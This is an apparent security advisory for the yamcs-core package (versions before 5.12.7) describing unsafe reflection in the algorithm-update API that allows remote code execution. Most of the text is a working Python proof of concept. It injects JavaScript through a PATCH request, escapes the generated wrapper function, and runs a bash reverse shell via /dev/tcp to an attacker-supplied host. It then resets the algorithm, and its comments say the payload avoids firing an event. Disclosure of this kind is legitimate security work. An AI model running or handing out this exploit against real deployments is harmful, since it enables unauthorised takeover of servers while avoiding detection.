Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') Affecting org.yamcs:yamcs-core package, versions [,5.12.7)

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') via the updateAlgorithm process. An attacker can execute arbitrary code on the server by supplying crafted JavaScript payloads that are evaluated without restriction.

Note:

This is only exploitable if the deployment is running in the default configuration without a security.yaml file, or if a user has been granted the ChangeMissionDatabase privilege.

#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

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